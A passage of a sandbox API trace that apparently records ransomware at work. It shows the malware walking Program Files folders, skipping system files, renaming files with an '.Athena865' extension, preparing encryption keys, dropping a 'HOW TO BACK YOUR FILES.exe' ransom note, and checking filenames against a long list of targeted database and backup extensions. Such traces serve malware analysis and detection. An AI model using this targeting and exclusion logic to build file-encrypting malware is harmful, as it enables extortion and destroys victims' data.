ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0092.148] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.148] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.148] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".") returned 1 [0092.148] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="..") returned 1 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="windows") returned -1 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="bootmgr") returned 1 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="temp") returned -1 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="pagefile.sys") returned 1 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="boot") returned 1 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="ids.txt") returned 1 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="ntuser.dat") returned 1 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="perflogs") returned 1 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="MSBuild") returned 1 [0092.149] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0092.149] lstrcpyW (in: lpString1=0x241e8a0, lpString2="PhotoViewer.dll.mui" | out: lpString1="PhotoViewer.dll.mui") returned="PhotoViewer.dll.mui" [0092.149] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0092.149] lstrlenW (lpString="Athena865") returned 9 [0092.149] lstrcmpiW (lpString1="r.dll.mui", lpString2="Athena865") returned 1 [0092.149] lstrlenW (lpString=".dll") returned 4 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".dll") returned 1 [0092.149] lstrlenW (lpString=".lnk") returned 4 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".lnk") returned 1 [0092.149] lstrlenW (lpString=".ini") returned 4 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".ini") returned 1 [0092.149] lstrlenW (lpString=".sys") returned 4 [0092.149] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".sys") returned 1 [0092.149] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0092.149] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui.Athena865") returned 73 [0092.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoviewer.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui.Athena865" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoviewer.dll.mui.athena865"), dwFlags=0x1) returned 1 [0092.150] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui.Athena865" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoviewer.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.150] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17408) returned 1 [0092.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0092.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0092.151] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0092.151] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.151] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.151] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4700, lpName=0x0) returned 0x154 [0092.153] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4700) returned 0x100000 [0092.154] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0092.155] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.155] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0092.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0092.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.155] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.156] CloseHandle (hObject=0x154) returned 1 [0092.156] CloseHandle (hObject=0x17c) returned 1 [0092.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0092.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0092.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.156] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0092.156] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.156] ReleaseMutex (hMutex=0xec) returned 1 [0092.156] CloseHandle (hObject=0xec) returned 1 [0092.156] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Sidebar\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\en-US") returned="C:\\Program Files\\Windows Sidebar\\en-US" [0092.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515d98 | out: hHeap=0x4f0000) returned 1 [0092.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c470 | out: hHeap=0x4f0000) returned 1 [0092.156] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\en-US") returned 38 [0092.156] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\209D2DE2374DF9AAFA829C8262A5A19D") returned 0xec [0092.156] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.156] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\en-US") returned="C:\\Program Files\\Windows Sidebar\\en-US" [0092.157] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.157] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.157] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.157] GetLastError () returned 0x0 [0092.157] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0092.157] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.158] CloseHandle (hObject=0xf4) returned 1 [0092.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0092.158] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc08fb9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc08fb9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.159] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.159] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.159] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.159] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc08fb9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc08fb9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.159] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.159] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.159] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.159] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.159] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc08fb9c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc08fb9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.159] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.159] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="windows") returned -1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="bootmgr") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="temp") returned -1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="pagefile.sys") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="boot") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="ids.txt") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="ntuser.dat") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="perflogs") returned 1 [0092.159] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="MSBuild") returned 1 [0092.159] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0092.159] lstrcpyW (in: lpString1=0x241e896, lpString2="sbdrop.dll.mui" | out: lpString1="sbdrop.dll.mui") returned="sbdrop.dll.mui" [0092.159] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0092.159] lstrlenW (lpString="Athena865") returned 9 [0092.160] lstrcmpiW (lpString1="p.dll.mui", lpString2="Athena865") returned 1 [0092.160] lstrlenW (lpString=".dll") returned 4 [0092.160] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".dll") returned 1 [0092.160] lstrlenW (lpString=".lnk") returned 4 [0092.160] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".lnk") returned 1 [0092.160] lstrlenW (lpString=".ini") returned 4 [0092.160] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".ini") returned 1 [0092.160] lstrlenW (lpString=".sys") returned 4 [0092.160] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".sys") returned 1 [0092.160] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0092.160] lstrlenW (lpString="bak") returned 3 [0092.160] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0092.160] lstrlenW (lpString="ba_") returned 3 [0092.160] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0092.160] lstrlenW (lpString="dbb") returned 3 [0092.160] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0092.160] lstrlenW (lpString="vmdk") returned 4 [0092.160] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0092.160] lstrlenW (lpString="rar") returned 3 [0092.160] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0092.160] lstrlenW (lpString="zip") returned 3 [0092.160] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0092.160] lstrlenW (lpString="tgz") returned 3 [0092.160] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0092.160] lstrlenW (lpString="vbox") returned 4 [0092.160] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0092.160] lstrlenW (lpString="vdi") returned 3 [0092.160] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0092.160] lstrlenW (lpString="vhd") returned 3 [0092.160] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0092.160] lstrlenW (lpString="vhdx") returned 4 [0092.160] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0092.161] lstrlenW (lpString="avhd") returned 4 [0092.161] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0092.161] lstrlenW (lpString="db") returned 2 [0092.161] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0092.161] lstrlenW (lpString="db2") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0092.161] lstrlenW (lpString="db3") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0092.161] lstrlenW (lpString="dbf") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0092.161] lstrlenW (lpString="mdf") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0092.161] lstrlenW (lpString="mdb") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0092.161] lstrlenW (lpString="sql") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0092.161] lstrlenW (lpString="sqlite") returned 6 [0092.161] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0092.161] lstrlenW (lpString="sqlite3") returned 7 [0092.161] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0092.161] lstrlenW (lpString="sqlitedb") returned 8 [0092.161] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0092.161] lstrlenW (lpString="xml") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0092.161] lstrlenW (lpString="$er") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0092.161] lstrlenW (lpString="4dd") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0092.161] lstrlenW (lpString="4dl") returned 3 [0092.161] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0092.161] lstrlenW (lpString="^^^") returned 3 [0092.162] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0092.162] lstrlenW (lpString="abs") returned 3 [0092.162] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0092.162] lstrlenW (lpString="abx") returned 3 [0092.162] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0092.162] lstrlenW (lpString="accdb") returned 5 [0092.162] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0092.162] lstrlenW (lpString="accdc") returned 5 [0092.162] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0092.162] lstrlenW (lpString="accde") returned 5 [0092.162] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0092.162] lstrlenW (lpString="accdr") returned 5 [0092.162] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0092.162] lstrlenW (lpString="accdt") returned 5 [0092.162] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0092.162] lstrlenW (lpString="accdw") returned 5 [0092.162] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0092.162] lstrlenW (lpString="accft") returned 5 [0092.162] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0092.162] lstrlenW (lpString="adb") returned 3 [0092.162] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0092.162] lstrlenW (lpString="adb") returned 3 [0092.162] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0092.162] lstrlenW (lpString="ade") returned 3 [0092.162] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0092.162] lstrlenW (lpString="adf") returned 3 [0092.162] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0092.162] lstrlenW (lpString="adn") returned 3 [0092.162] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0092.162] lstrlenW (lpString="adp") returned 3 [0092.162] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0092.162] lstrlenW (lpString="alf") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0092.163] lstrlenW (lpString="ask") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0092.163] lstrlenW (lpString="btr") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0092.163] lstrlenW (lpString="cat") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0092.163] lstrlenW (lpString="cdb") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0092.163] lstrlenW (lpString="ckp") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0092.163] lstrlenW (lpString="cma") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0092.163] lstrlenW (lpString="cpd") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0092.163] lstrlenW (lpString="dacpac") returned 6 [0092.163] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0092.163] lstrlenW (lpString="dad") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0092.163] lstrlenW (lpString="dadiagrams") returned 10 [0092.163] lstrcmpiW (lpString1="op.dll.mui", lpString2="dadiagrams") returned 1 [0092.163] lstrlenW (lpString="daschema") returned 8 [0092.163] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0092.163] lstrlenW (lpString="db-journal") returned 10 [0092.163] lstrcmpiW (lpString1="op.dll.mui", lpString2="db-journal") returned 1 [0092.163] lstrlenW (lpString="db-shm") returned 6 [0092.163] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0092.163] lstrlenW (lpString="db-wal") returned 6 [0092.163] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0092.163] lstrlenW (lpString="dbc") returned 3 [0092.163] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0092.163] lstrlenW (lpString="dbs") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0092.164] lstrlenW (lpString="dbt") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0092.164] lstrlenW (lpString="dbv") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0092.164] lstrlenW (lpString="dbx") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0092.164] lstrlenW (lpString="dcb") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0092.164] lstrlenW (lpString="dct") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0092.164] lstrlenW (lpString="dcx") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0092.164] lstrlenW (lpString="ddl") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0092.164] lstrlenW (lpString="dlis") returned 4 [0092.164] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0092.164] lstrlenW (lpString="dp1") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0092.164] lstrlenW (lpString="dqy") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0092.164] lstrlenW (lpString="dsk") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0092.164] lstrlenW (lpString="dsn") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0092.164] lstrlenW (lpString="dtsx") returned 4 [0092.164] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0092.164] lstrlenW (lpString="dxl") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0092.164] lstrlenW (lpString="eco") returned 3 [0092.164] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0092.164] lstrlenW (lpString="ecx") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0092.165] lstrlenW (lpString="edb") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0092.165] lstrlenW (lpString="epim") returned 4 [0092.165] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0092.165] lstrlenW (lpString="fcd") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0092.165] lstrlenW (lpString="fdb") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0092.165] lstrlenW (lpString="fic") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0092.165] lstrlenW (lpString="flexolibrary") returned 12 [0092.165] lstrcmpiW (lpString1="drop.dll.mui", lpString2="flexolibrary") returned -1 [0092.165] lstrlenW (lpString="fm5") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0092.165] lstrlenW (lpString="fmp") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0092.165] lstrlenW (lpString="fmp12") returned 5 [0092.165] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0092.165] lstrlenW (lpString="fmpsl") returned 5 [0092.165] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0092.165] lstrlenW (lpString="fol") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0092.165] lstrlenW (lpString="fp3") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0092.165] lstrlenW (lpString="fp4") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0092.165] lstrlenW (lpString="fp5") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0092.165] lstrlenW (lpString="fp7") returned 3 [0092.165] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0092.166] lstrlenW (lpString="fpt") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0092.166] lstrlenW (lpString="frm") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0092.166] lstrlenW (lpString="gdb") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0092.166] lstrlenW (lpString="gdb") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0092.166] lstrlenW (lpString="grdb") returned 4 [0092.166] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0092.166] lstrlenW (lpString="gwi") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0092.166] lstrlenW (lpString="hdb") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0092.166] lstrlenW (lpString="his") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0092.166] lstrlenW (lpString="ib") returned 2 [0092.166] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0092.166] lstrlenW (lpString="idb") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0092.166] lstrlenW (lpString="ihx") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0092.166] lstrlenW (lpString="itdb") returned 4 [0092.166] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0092.166] lstrlenW (lpString="itw") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0092.166] lstrlenW (lpString="jet") returned 3 [0092.166] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0092.166] lstrlenW (lpString="jtx") returned 3 [0092.166] 